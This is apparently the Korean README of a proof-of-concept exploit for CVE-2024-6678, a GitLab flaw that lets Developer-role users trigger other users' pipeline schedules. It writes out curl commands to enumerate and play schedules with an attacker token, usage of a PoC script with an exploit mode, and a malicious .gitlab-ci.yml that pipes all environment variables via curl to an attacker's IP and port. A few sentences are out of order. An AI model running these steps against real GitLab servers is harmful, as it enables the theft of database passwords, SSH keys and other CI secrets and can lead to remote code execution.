
PoC for CVE-2024-6678
CVE-2024-6678 PoC
GitLab은 사용자가 'Play' 버튼을 통해 CI/CD 파이프라인 스케줄(Pipeline Schedule)을 수동으로 실행할 수 있도록 합니다. 이 취약점은 'play' 기능이 Developer 권한을 가진 모든 사용자(스케줄 소유자뿐만 아니라)가 스케줄을 실행할 수 있게 하는 점에 있습니다. 이로 인해 두 가지 결과가 발생합니다:
이때 최종 영향은 스케줄 변수에 저장된 내용에 따라 달라집니다. 예를 들어 DB_PASSWORD 변수는 전체 데이터베이스 덤프를 가능하게 하고, SSH_PRIVATE_KEY는 RCE를 가능하게 합니다.
develop, staging)를 대상으로 함 — 또는 프로젝트에 짧은 형식의 ref(우회)가 있는 스케줄이 존재중요: 보호된 브랜치(예:
refs/heads/main, 보호 활성화 시)의 스케줄은PipelineSchedulePolicy#protected_ref정책에 의해 차단되며 HTTP 403을 반환합니다. 공격은 보호되지 않은 브랜치에서 작동하며, 실제 운영 자격 증명이 포함된 통합 및 스테이징 스케줄이 자주 생성되는 곳이 바로 이러한 브랜치입니다.
curl -s -H "PRIVATE-TOKEN: ATTACKER_TOKEN" \
"https://gitlab.example.com/api/v4/projects/PROJECT_ID/pipeline_schedules" \
| python3 -m json.tool
더 높은 권한을 가진 사용자(Maintainer/Owner)가 소유한 스케줄을 찾습니다.
curl -s -X POST \
-H "PRIVATE-TOKEN: ATTACKER_TOKEN" \
"https://gitlab.example.com/api/v4/projects/PROJECT_ID/pipeline_schedules/SCHEDULE_ID/play"
예상 응답: HTTP 201 — 파이프라인이 대기열에 추가됨.
파이프라인은 공격자 이름으로 생성되지만(current_user), 스케줄의 모든 변수(소유자가 설정한 API 키, 토큰, 자격 증명 등 포함)를 포함합니다.
HTTP 500 "Unable to schedule pipeline run immediately" — 예상된 동작입니다. 이는 Sidekiq 중복 제거(
deduplicate :until_executed) 때문입니다: 해당 스케줄의 작업이 이전 성공적인 실행에서 이미 대기열에 있습니다. 즉, 공격이 이미 이전에 성공했으며 작업이 실행을 기다리고 있음을 의미합니다.
curl -s -H "PRIVATE-TOKEN: ATTACKER_TOKEN" \
"https://gitlab.example.com/api/v4/projects/PROJECT_ID/pipelines?source=schedule&per_page=5" \
| python3 -m json.tool | grep -E '"id"|"status"|"username"'
# 기본 실행: 자동 스케줄 선택
python3 cve-2024-6678-poc.py \
--url https://gitlab.example.com \
--token glpat-xxxx \
--project-id 42
# 특정 스케줄 지정
python3 cve-2024-6678-poc.py \
--url https://gitlab.example.com \
--token glpat-xxxx \
--project-id 42 \
--schedule-id 7
# GraphQL 사용 (--project-path 필요)
python3 cve-2024-6678-poc.py \
--url https://gitlab.example.com \
--token glpat-xxxx \
--project-id 42 \
--graphql \
--project-path "mygroup/myrepo"
# legacy-ref 우회 확인
python3 cve-2024-6678-poc.py \
--url https://gitlab.example.com \
--token glpat-xxxx \
--project-id 42 \
--exploit-mode
PoC가 트리거되기 전에 develop 브랜치의 .gitlab-ci.yml을 다음으로 대체합니다: stages: [exfil] dump_vars: stage: exfil script: - env | grep -vE '^(CI_JOB_TOKEN|GITLAB_FEATURES)' | curl -X POST 'http://IP:PORT' --data-binary @-
이 모든 내용이 리스너로 전송됩니다